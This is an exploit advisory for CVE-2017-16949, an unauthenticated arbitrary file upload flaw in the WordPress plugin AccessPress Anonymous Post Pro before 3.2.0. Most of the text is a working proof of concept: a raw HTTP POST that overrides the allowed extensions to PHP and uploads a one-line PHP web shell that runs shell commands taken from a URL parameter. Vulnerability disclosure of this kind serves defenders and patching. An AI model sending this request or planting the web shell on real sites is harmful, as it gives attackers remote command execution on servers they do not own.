Accesspress Anonymous Post Pro < 3.2.0 - Arbitrary File Upload

# Exploit Title: Unauthenticated Arbitrary File Upload
# Date: November 12, 2017
# Exploit Author: Colette Chamberland 
# Author contact: [email protected]
# Author homepage: https://defiant.com
# Vendor Homepage: https://accesspressthemes.com/
# Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446
# Version:  < 3.2.0
# Tested on: Wordpress 4.x
# CVE : CVE-2017-16949


Description:
Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows
the attacker to upload anything they want, bypassing the filters.
 
PoC:

POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1
Host:server
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792
Content-Length: 264
Referer: http://target.com/
Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6; 
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------7230359611602921801124357792
Content-Disposition: form-data; name="qqfile"; filename="myshell.php"
Content-Type: text/php

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

-----------------------------7230359611602921801124357792--